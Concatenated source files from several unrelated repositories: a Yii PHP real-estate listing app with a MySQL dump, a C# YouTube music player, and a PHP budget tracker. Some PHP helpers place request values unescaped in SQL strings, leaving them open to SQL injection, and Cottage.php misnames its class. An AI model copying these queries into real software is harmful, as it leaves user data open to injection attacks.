'agent_id' => 'идентификатор агента',
'street_id' => 'идентификатор улицы',
'building' => 'номер дома',
'room_count' => 'кол-во комнат',
'area_live' => 'площадь жилая',
'stage' => 'площадь участка',
'agent_fname' => 'имя агента' ,
'agent_sname' => 'фамилия агента' ,
'agent_phone' => 'телефон агента' ,
'street_title' => 'название улицы'
];
}
}
<file_sep>/controllers/AgentController.php
<?php
/**
* @package AgentController класс для агентов
* @author <NAME> <<EMAIL>>
*/
namespace app\controllers;
class AgentController extends \yii\web\Controller
{
/** Информация об агенте по ID
* @return string - JSON-строка с найденной записью
*/
public function actionIndex( ) {
$agent_id = \Yii::$app->request->get( 'id' ) ;
if ( $result = ( new \app\models\Agent( ) )->findOne( $agent_id ) ) {
\Yii::$app->response->format = \yii\web\Response::FORMAT_JSON ;
return $result->getAttributes( ) ;
}
return null ;
}
}
<file_sep>/controllers/CottageController.php
<?php
/**
* @package CottageController класс для коттеджей
* @author <NAME> <<EMAIL>>
*/
namespace app\controllers;
class CottageController extends \app\controllers\RealestateController { }<file_sep>/controllers/AppartController.php
<?php
/** класс для согласованного выполнения программ пакета
* @package AppartController класс квартир
* @author <NAME> <<EMAIL>>
*/
namespace app\controllers;
class AppartController extends \app\controllers\RealestateController { }
<file_sep>/models/Cottage.php
<?php
namespace app\models;
use Yii;
/**
* Модель к сущности "{{%v_cottage}}".
*
* @property string $id - идентификатор
* @property string $agent_id - идентификатор агента
* @property string $street_id
* @property string $building
* @property integer $room_count
* @property string $area_live
* @property string $area_real
* @property string $agent_fname
* @property string $agent_sname
* @property string $agent_phone
* @property string $street_title
*
* @property Agent $agent
* @property Street $street
*/
class Appart extends \app\models\Realestate
{
/**
* @inheritdoc
*/
public static function tableName()
{
return '{{%v_cottage}}';
}
/**
* @inheritdoc
*/
public function rules()
{
return [
[['agent_id', 'street_id', 'building', 'area_real', 'area_live'], 'required'],
[['agent_id', 'street_id', 'room_count'], 'integer'],
[['area_live', 'area_real'], 'number'],
[['building'], 'string', 'max' => 30],
[['agent_id'], 'exist', 'skipOnError' => true, 'targetClass' => Agent::className(), 'targetAttribute' => ['agent_id' => 'id']],
[['street_id'], 'exist', 'skipOnError' => true, 'targetClass' => Street::className(), 'targetAttribute' => ['street_id' => 'id']],
];
}
/**
* @inheritdoc
*/
public function attributeLabels()
{
return [
'id' => 'идентификатор',
'agent_id' => 'идентификатор агента',
'street_id' => 'идентификатор улицы',
'building' => 'номер дома',
'room_count' => 'кол-во комнат',
'area_live' => 'площадь жилая',
'area_real' => 'площадь участка',
'agent_fname' => 'им<NAME>ента' ,
'agent_sname' => '<NAME>' ,
'agent_phone' => 'телефон агента' ,
'street_title' => 'название улицы'
];
}
}
<file_sep>/test4.sql
-- MySQL dump 10.13 Distrib 5.7.19, for Linux (x86_64)
--
-- Host: localhost Database: test4
-- ------------------------------------------------------
-- Server version 5.7.19-0ubuntu0.16.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `agent`
--
DROP TABLE IF EXISTS `agent`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `agent` (
`id` bigint(22) unsigned NOT NULL AUTO_INCREMENT COMMENT 'идентификатор',
`fname` varchar(40) NOT NULL COMMENT 'имя',
`sname` varchar(40) NOT NULL COMMENT 'фамилия',
`phone` varchar(20) NOT NULL COMMENT 'телефон',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='агент';
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `agent`
--
LOCK TABLES `agent` WRITE;
/*!40000 ALTER TABLE `agent` DISABLE KEYS */;
INSERT INTO `agent` VALUES (1,'Имя','Фамилия','123456789');
/*!40000 ALTER TABLE `agent` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `appart`
--
DROP TABLE IF EXISTS `appart`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `appart` (
`id` bigint(22) unsigned NOT NULL AUTO_INCREMENT COMMENT 'идентификатор',
`real_estate_id` bigint(22) unsigned NOT NULL,
`is_active` tinyint(1) unsigned NOT NULL DEFAULT '1',
PRIMARY KEY (`id`),
KEY `fk_appart_real_estate_id_real_estate_idx` (`real_estate_id`),
CONSTRAINT `fk_appart_real_estate_id_real_estate` FOREIGN KEY (`real_estate_id`) REFERENCES `real_estate` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8 COMMENT='квартира';
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `appart`
--
LOCK TABLES `appart` WRITE;
/*!40000 ALTER TABLE `appart` DISABLE KEYS */;
INSERT INTO `appart` VALUES (2,1,1),(3,1,1);
/*!40000 ALTER TABLE `appart` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `cottage`
--
DROP TABLE IF EXISTS `cottage`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cottage` (
`id` bigint(22) unsigned NOT NULL AUTO_INCREMENT COMMENT 'идентификатор',
`real_estate_id` bigint(22) unsigned NOT NULL,
`area_real` decimal(10,2) unsigned NOT NULL COMMENT 'площадь участка',
`is_active` tinyint(1) unsigned NOT NULL DEFAULT '1',
PRIMARY KEY (`id`),
KEY `fk_cottage_real_estate_id_real_estate_idx` (`real_estate_id`),
CONSTRAINT `fk_cottage_real_estate_id_real_estate` FOREIGN KEY (`real_estate_id`) REFERENCES `real_estate` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='коттэдж';
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `cottage`
--
LOCK TABLES `cottage` WRITE;
/*!40000 ALTER TABLE `cottage` DISABLE KEYS */;
INSERT INTO `cottage` VALUES (1,1,333.00,1),(2,1,12.00,1);
/*!40000 ALTER TABLE `cottage` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `real_estate`
--
DROP TABLE IF EXISTS `real_estate`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `real_estate` (
`id` bigint(22) unsigned NOT NULL AUTO_INCREMENT COMMENT 'идентификатор',
`agent_id` bigint(22) unsigned NOT NULL COMMENT 'идентификатор агента',
`street_id` bigint(22) unsigned NOT NULL COMMENT 'идентификатор улицы',
`building` varchar(30) NOT NULL COMMENT 'номер дома',
`room_count` tinyint(2) unsigned NOT NULL DEFAULT '1' COMMENT 'кол-во комнат',
`area_live` decimal(10,2) unsigned NOT NULL DEFAULT '0.00' COMMENT 'площадь жилая',
`stage` tinyint(3) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`id`),
KEY `fk_cottage_agent_id_agent_idx` (`agent_id`),
KEY `fk_cottage_street_id_street_idx` (`street_id`),
CONSTRAINT `fk_real_estate_agent_id_agent` FOREIGN KEY (`agent_id`) REFERENCES `agent` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
CONSTRAINT `fk_real_estate_street_id_street` FOREIGN KEY (`street_id`) REFERENCES `street` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='квартира';
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `real_estate`
--
LOCK TABLES `real_estate` WRITE;
/*!40000 ALTER TABLE `real_estate` DISABLE KEYS */;
INSERT INTO `real_estate` VALUES (1,1,1,'123',255,231.00,255);
/*!40000 ALTER TABLE `real_estate` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `street`
--
DROP TABLE IF EXISTS `street`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `street` (
`id` bigint(22) unsigned NOT NULL AUTO_INCREMENT COMMENT 'идентификатор',
`title` varchar(60) NOT NULL COMMENT 'название',
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='улица';
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `street`
--
LOCK TABLES `street` WRITE;
/*!40000 ALTER TABLE `street` DISABLE KEYS */;
INSERT INTO `street` VALUES (1,'Название улицы');
/*!40000 ALTER TABLE `street` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Temporary table structure for view `v_appart`
--
DROP TABLE IF EXISTS `v_appart`;
/*!50001 DROP VIEW IF EXISTS `v_appart`*/;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
/*!50001 CREATE VIEW `v_appart` AS SELECT
1 AS `id`,
1 AS `appart_id`,
1 AS `real_estate_id`,
1 AS `agent_id`,
1 AS `street_id`,
1 AS `building`,
1 AS `room_count`,
1 AS `area_live`,
1 AS `stage`,
1 AS `agent_fname`,
1 AS `agent_sname`,
1 AS `agent_phone`,
1 AS `street_title`*/;
SET character_set_client = @saved_cs_client;
--
-- Temporary table structure for view `v_cottage`
--
DROP TABLE IF EXISTS `v_cottage`;
/*!50001 DROP VIEW IF EXISTS `v_cottage`*/;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
/*!50001 CREATE VIEW `v_cottage` AS SELECT
1 AS `id`,
1 AS `cottage_id`,
1 AS `area_real`,
1 AS `real_estate_id`,
1 AS `agent_id`,
1 AS `street_id`,
1 AS `building`,
1 AS `room_count`,
1 AS `area_live`,
1 AS `stage`,
1 AS `agent_fname`,
1 AS `agent_sname`,
1 AS `agent_phone`,
1 AS `street_title`*/;
SET character_set_client = @saved_cs_client;
--
-- Temporary table structure for view `v_real_estate`
--
DROP TABLE IF EXISTS `v_real_estate`;
/*!50001 DROP VIEW IF EXISTS `v_real_estate`*/;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
/*!50001 CREATE VIEW `v_real_estate` AS SELECT
1 AS `real_estate_id`,
1 AS `agent_id`,
1 AS `street_id`,
1 AS `building`,
1 AS `room_count`,
1 AS `area_live`,
1 AS `stage`,
1 AS `agent_fname`,
1 AS `agent_sname`,
1 AS `agent_phone`,
1 AS `street_title`*/;
SET character_set_client = @saved_cs_client;
--
-- Final view structure for view `v_appart`
--
/*!50001 DROP VIEW IF EXISTS `v_appart`*/;
/*!50001 SET @saved_cs_client = @@character_set_client */;
/*!50001 SET @saved_cs_results = @@character_set_results */;
/*!50001 SET @saved_col_connection = @@collation_connection */;
/*!50001 SET character_set_client = utf8 */;
/*!50001 SET character_set_results = utf8 */;
/*!50001 SET collation_connection = utf8_general_ci */;
/*!50001 CREATE ALGORITHM=UNDEFINED */
/*!50013 DEFINER=`root`@`%` SQL SECURITY DEFINER */
/*!50001 VIEW `v_appart` AS select `a1`.`id` AS `id`,`a1`.`id` AS `appart_id`,`vre1`.`real_estate_id` AS `real_estate_id`,`vre1`.`agent_id` AS `agent_id`,`vre1`.`street_id` AS `street_id`,`vre1`.`building` AS `building`,`vre1`.`room_count` AS `room_count`,`vre1`.`area_live` AS `area_live`,`vre1`.`stage` AS `stage`,`vre1`.`agent_fname` AS `agent_fname`,`vre1`.`agent_sname` AS `agent_sname`,`vre1`.`agent_phone` AS `agent_phone`,`vre1`.`street_title` AS `street_title` from (`appart` `a1` join `v_real_estate` `vre1` on((`a1`.`real_estate_id` = `vre1`.`real_estate_id`))) */;
/*!50001 SET character_set_client = @saved_cs_client */;
/*!50001 SET character_set_results = @saved_cs_results */;
/*!50001 SET collation_connection = @saved_col_connection */;
--
-- Final view structure for view `v_cottage`
--
/*!50001 DROP VIEW IF EXISTS `v_cottage`*/;
/*!50001 SET @saved_cs_client = @@character_set_client */;
/*!50001 SET @saved_cs_results = @@character_set_results */;
/*!50001 SET @saved_col_connection = @@collation_connection */;
/*!50001 SET character_set_client = utf8 */;
/*!50001 SET character_set_results = utf8 */;
/*!50001 SET collation_connection = utf8_general_ci */;
/*!50001 CREATE ALGORITHM=UNDEFINED */
/*!50013 DEFINER=`root`@`%` SQL SECURITY DEFINER */
/*!50001 VIEW `v_cottage` AS select `c1`.`id` AS `id`,`c1`.`id` AS `cottage_id`,`c1`.`area_real` AS `area_real`,`vre1`.`real_estate_id` AS `real_estate_id`,`vre1`.`agent_id` AS `agent_id`,`vre1`.`street_id` AS `street_id`,`vre1`.`building` AS `building`,`vre1`.`room_count` AS `room_count`,`vre1`.`area_live` AS `area_live`,`vre1`.`stage` AS `stage`,`vre1`.`agent_fname` AS `agent_fname`,`vre1`.`agent_sname` AS `agent_sname`,`vre1`.`agent_phone` AS `agent_phone`,`vre1`.`street_title` AS `street_title` from (`cottage` `c1` join `v_real_estate` `vre1` on((`c1`.`real_estate_id` = `vre1`.`real_estate_id`))) */;
/*!50001 SET character_set_client = @saved_cs_client */;
/*!50001 SET character_set_results = @saved_cs_results */;
/*!50001 SET collation_connection = @saved_col_connection */;
--
-- Final view structure for view `v_real_estate`
--
/*!50001 DROP VIEW IF EXISTS `v_real_estate`*/;
/*!50001 SET @saved_cs_client = @@character_set_client */;
/*!50001 SET @saved_cs_results = @@character_set_results */;
/*!50001 SET @saved_col_connection = @@collation_connection */;
/*!50001 SET character_set_client = utf8 */;
/*!50001 SET character_set_results = utf8 */;
/*!50001 SET collation_connection = utf8_general_ci */;
/*!50001 CREATE ALGORITHM=UNDEFINED */
/*!50013 DEFINER=`root`@`%` SQL SECURITY DEFINER */
/*!50001 VIEW `v_real_estate` AS select `re1`.`id` AS `real_estate_id`,`re1`.`agent_id` AS `agent_id`,`re1`.`street_id` AS `street_id`,`re1`.`building` AS `building`,`re1`.`room_count` AS `room_count`,`re1`.`area_live` AS `area_live`,`re1`.`stage` AS `stage`,`a2`.`fname` AS `agent_fname`,`a2`.`sname` AS `agent_sname`,`a2`.`phone` AS `agent_phone`,`s1`.`title` AS `street_title` from ((`real_estate` `re1` join `agent` `a2` on((`re1`.`agent_id` = `a2`.`id`))) join `street` `s1` on((`re1`.`street_id` = `s1`.`id`))) */;
/*!50001 SET character_set_client = @saved_cs_client */;
/*!50001 SET character_set_results = @saved_cs_results */;
/*!50001 SET collation_connection = @saved_col_connection */;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2017-10-07 5:40:53
<file_sep>/models/Street.php
<?php
namespace app\models;
use Yii;
/**
* This is the model class for table "{{%street}}".
*
* @property string $id
* @property string $title
*
* @property Appart[] $apparts
* @property Cottage[] $cottages
*/
class Street extends \yii\db\ActiveRecord
{
/**
* @inheritdoc
*/
public static function tableName()
{
return '{{%street}}';
}
/**
* @inheritdoc
*/
public function rules()
{
return [
[['title'], 'required'],
[['title'], 'string', 'max' => 60],
];
}
/**
* @inheritdoc
*/
public function attributeLabels()
{
return [
'id' => 'идентификатор',
'title' => 'название',
];
}
/**
* @return \yii\db\ActiveQuery
*/
public function getApparts()
{
return $this->hasMany(Appart::className(), ['street_id' => 'id']);
}
/**
* @return \yii\db\ActiveQuery
*/
public function getCottages()
{
return $this->hasMany(Cottage::className(), ['street_id' => 'id']);
}
}
<file_sep>/controllers/RealestateController.php
<?php
/**
* @package RealestateController класс квартир
* @author <NAME> <<EMAIL>>
*/
namespace app\controllers;
class RealestateController extends \yii\web\Controller
{
public function actionIndex( )
{
$shortClassName = preg_replace( '{Controller$}s' , '' , ( new \ReflectionClass( $this ) )->getShortName( ) ) ;
$className = 'app\\models\\' . $shortClassName ;
$obj = new $className( ) ;
$params_where = array( ) ;
$entityName = 'v_' . strToLower( $shortClassName ) ;
$rsh = ( new \yii\db\Query( ) )->select( '*' )->from( $entityName ) ;
foreach ( $obj->attributeLabels( ) as $key => $label ) {
$value = \Yii::$app->request->get( $key ) ;
if ( is_null( $value ) ) {
continue ;
}
$args = [ ] ;
if ( ! preg_match( '{[,-]}s' , $value ) ) {
$args[ $key ] = $value ;
} elseif ( strpos( $value , ',' ) === false ) {
$args = explode( '-' , $value ) ;
$args = array_merge( [ 'between' , $key ] , $args ) ;
} else {
$args = explode( ',' , $value ) ;
$args = array_merge( [ 'and' , $key ] , $args ) ;
}
$rsh->andWhere( $args ) ;
}
\Yii::$app->response->format = \yii\web\Response::FORMAT_JSON ;
$results = $rsh->all( ) ;
return $results ;
}
}
| 7c2c966b6285c49245cda7be62e6f8c56c6147e5 | [
"SQL",
"PHP"
] | 10 | PHP | shatrovalexey/test22 | 7c686a06a9b1cb9483651819dcd98fd40f425b0f | 71efd62d109d3c88bcd64063c705074dbf13b89d |
refs/heads/master | <file_sep>MusicTube
=========
* This is simple music player that is using Google Data APIs.
* The music of playing is sound source of YouTube.
<file_sep>/* This program is using google-gdata */
using System;
using System.Windows.Forms;
using System.Net;
using System.Web;
using System.Collections.Generic;
using System.Drawing;
using Google.GData.YouTube;
using Google.GData.Extensions;
using Google.GData.Extensions.MediaRss;
using System.Collections;
class YouTube1 : Form
{
// Make html to play youtube
private const String Html = "<html>" +
"<body>" +
"<object width='{0}' height='{1}'>" +
"<param name='movie' value='{2}&hl=ja=ja&fs=1'>" +
"</param>" +
"<param name=\"wmode\" value=\"transparent\"></param>" +
"<embed src='{2}&fmt=22&hl=ja&fs=1&loop=1&autoplay=1' type='application/x-shockwave-flash' allowscriptaccess='always' allowfullscreen='true' width='{0}' height='{1}'>" +
"</embed>" +
"</object>" +
"</body>" +
"</html>";
private WebBrowser player;
private TextBox tb = new TextBox();
private string strData;
private NotifyIcon notifyIcon1 = new NotifyIcon();
private string strTmp;
private ListBox lbx;
private string[] strUrl = new string[10];
[STAThread]
public static void Main(){
Application.Run(new YouTube1());
}
public YouTube1(){
this.Text = "MusicTube";
this.Width = 600;
this.Height = 170;
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.ClientSizeChanged += new EventHandler(form_Size_Changed);
this.MaximizeBox = false;
notifyIcon1.DoubleClick += new EventHandler(notifyIcon1_DoubleClick);
notifyIcon1.Text = "MusicTube";
Icon icon = YouTube.Properties.Resources.icon1;
this.Icon = icon;
tb.Dock = DockStyle.Top;
tb.Parent = this;
//query.Start
player = new WebBrowser();
player.Dock = DockStyle.Top;
//player.AllowNavigation = false;
player.Dock = System.Windows.Forms.DockStyle.Fill;
player.Location = new System.Drawing.Point(0, 0);
player.MinimumSize = new System.Drawing.Size(0, 0);
player.Name = "MusicTube";
player.ScrollBarsEnabled = false;
player.Size = new System.Drawing.Size(0, 0);
player.TabIndex = 0;
player.AllowWebBrowserDrop = false;
player.IsWebBrowserContextMenuEnabled = false;
player.WebBrowserShortcutsEnabled = false;
lbx = new ListBox();
lbx.Width = tb.Width;
lbx.Height = 130;
lbx.Top = tb.Bottom;
lbx.Parent = this;
player.Parent = this;
tb.KeyDown += new KeyEventHandler(tb_KeyDown);
lbx.SelectedIndexChanged += new EventHandler(lbx_SelectedIndexChanged);
}
// This is function that load video title and url
public void tb_KeyDown(Object sender, KeyEventArgs e){
TextBox tmp = (TextBox)sender;
if(e.KeyCode == Keys.Enter){
if (tmp.Text == strTmp)
{
strTmp = "";
player.DocumentText = "";
return;
}
strTmp = tmp.Text;
YouTubeService service = new YouTubeService("MusicTube");
YouTubeQuery query = new YouTubeQuery();
query.StartIndex = 0;
query.NumberToRetrieve = 10;
query.Uri = new Uri(String.Format("http://gdata.youtube.com/feeds/api/videos?vq={0}",
HttpUtility.UrlEncode(tmp.Text))
);
YouTubeFeed feed = service.Query(query);
int i = 0;
lbx.Items.Clear();
foreach (YouTubeEntry entry in feed.Entries)
{
MediaGroup group = entry.Media;
//タイトルと説明
//Console.WriteLine("Title / {0}", group.Title.Value);
//コンテンツ数分ループ
foreach (MediaContent content in group.Contents)
{
SortedList attributes = content.Attributes;
//属性数分ループ
foreach (DictionaryEntry attribute in attributes)
{
//Console.WriteLine("Thumbnail key / {0}", attribute.Value + "\n");
if (attribute.Key.Equals("url"))
{
//サムネイルのURL
//Console.WriteLine("Thumbnail key / {0}", attribute.Value + "\n");
strData = (string)attribute.Value;
//Console.WriteLine("test:{0}\n", strData.IndexOf("?"));
//Console.WriteLine("aaa:\n" + strData);
if (strData.IndexOf("?") < 0)
{
i--;
break;
}
lbx.Items.Add(group.Title.Value);
strData = strData.Substring(0, strData.IndexOf("?"));
strUrl[i] = strData;
//Console.WriteLine("test2:{0}\n", strData);
break;
}
}
break;
}
if (i >= 9) break;
i++;
}
}
}
private void form_Size_Changed(Object sender, EventArgs e)
{
notifyIcon1.Icon = YouTube.Properties.Resources.icon1;
if (this.WindowState == FormWindowState.Minimized)
{
this.WindowState = FormWindowState.Normal;
this.ShowInTaskbar = false;
this.Visible = false;
notifyIcon1.Visible = true;
}
}
private void notifyIcon1_DoubleClick(Object sender, EventArgs e)
{
this.Visible = true;
this.ShowInTaskbar = true;
notifyIcon1.Icon = null;
}
public void lbx_SelectedIndexChanged(Object sender, EventArgs e)
{
ListBox tmp = (ListBox)sender;
player.DocumentText = string.Format(Html, 0, 0, strUrl[lbx.SelectedIndex]);
}
}
| fb1a96fe36b989d6d283c4afe904e6172e956a38 | [
"Markdown",
"C#"
] | 2 | Markdown | quyetdd/MusicTube | 803097d53c711312a83a373da3d1e6b39d2ce51d | 123e693767d35f7038d7f5e8d44227f76b2cdaad |
refs/heads/master | <file_sep><?php
function getprojectofprojectuser($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM project_user WHERE userID = '$id'; ";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function set_project_user($userID, $projectID) {
require_once('dbconnect.php');
$query = "UPDATE user SET usertype = 4 WHERE userID='$userID'; ";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
}
$query ="INSERT INTO project_user (projectID,userID) VALUES('$projectID','$userID')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
<file_sep>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_register_method_expense.php'); ?>
<head>
<?php include_once ('dependencies/top_resources.php'); ?>
<?php
if (isset($_POST['name']) && isset($_POST['description'])) {
if (isset($_POST['submittype']) && $_POST['submittype'] == "REGISTER") {
$view_result = submit_methodofexpense($_POST['name'], $_POST['description']);
} else {
$view_result = submitupdate_expensemethod($_POST['name'], $_POST['description'], $_POST['id']);
}
} else if (isset($_POST['deactivate'])) {
$view_result = delete_methodexpense(($_POST['deactivate']));
}
?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Register Expense Payment Method</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Budget Tracker</span>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Register Expense Payment Method</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<!----BODY--->
<div class="page-content-inner">
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<!----BODY--->
<div class="row">
<div class="col-md-6 col-sm-6">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">REGISTER EXPENSE PAYMENT METHODS</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<?php
if (isset($_POST['update'])) {
$query_result = getupdate_expensemethod($_POST['update']);
if ($query_result != FALSE) {
foreach ($query_result as $arr_result) {
$id = $arr_result['expensemethodID'];
$name = $arr_result['name'];
$description = $arr_result['description'];
}
}
} else {
$name = "";
$description = "";
$id = "";
}
?>
<form class="col-md-10" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<div class="form-group">
<label for="exampleInputEmail1">Name</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Name" name="name" value="<?php echo $name; ?>" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Description</label>
<textarea class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Description" name="description" required><?php echo $description; ?></textarea>
</div>
<input type="hidden" name="id" value="<?php echo $id; ?>">
<input type="hidden" name="submittype" value="<?php
if ($name == NULL) {
echo "REGISTER";
}
?>">
<div class="pull-left">
<button type="submit" class="btn btn-info">Submit Expense Method</button>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-6 col-sm-6">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">REGISTERED EXPENSE PAYMENT METHODS</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<div class="table-responsive">
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<table class="table table-bordered table-striped table-hover" id="sample_2">
<thead>
<tr>
<th width="40%">Name</th>
<th width="60%">Description</th>
<th>Deactivate</th>
<th>Update</th>
</tr>
</thead>
<tfoot>
<tr>
</tr>
</tfoot>
<tbody>
<?php
$query_result = generate_all_methodofexpense();
if ($query_result != FALSE) {
foreach ($query_result as $arr_result) {
echo' <tr>
<td>' . $arr_result['name'] . '</td>
<td>' . $arr_result['description'] . '</td>
<td align="center"><button name="deactivate" value="' . $arr_result['expensemethodID'] . '" class="btn btn-danger btn-md"/><span class="fa fa-remove"></span></td>
<td align="center"><button name="update" value="' . $arr_result['expensemethodID'] . '" class="btn btn-warning btn-md"/><span class="fa fa-pencil"></span></td>'
. ' </tr>';
}
}
?>
</tbody>
</table>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Expense Method Registered" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="confirm">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Expense Method Deleted" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="delete">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Expense Method Update" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="update">Default Alert</div>
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php'); ?>
<!-- END FOOTER -->
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php'); ?>
<script>
<?php
if (isset($view_result) && $view_result == 1) {
echo'$(document).ready(function(){
document.getElementById("confirm").click();
});';
} else if (isset($view_result) && $view_result == 2) {
echo'$(document).ready(function(){
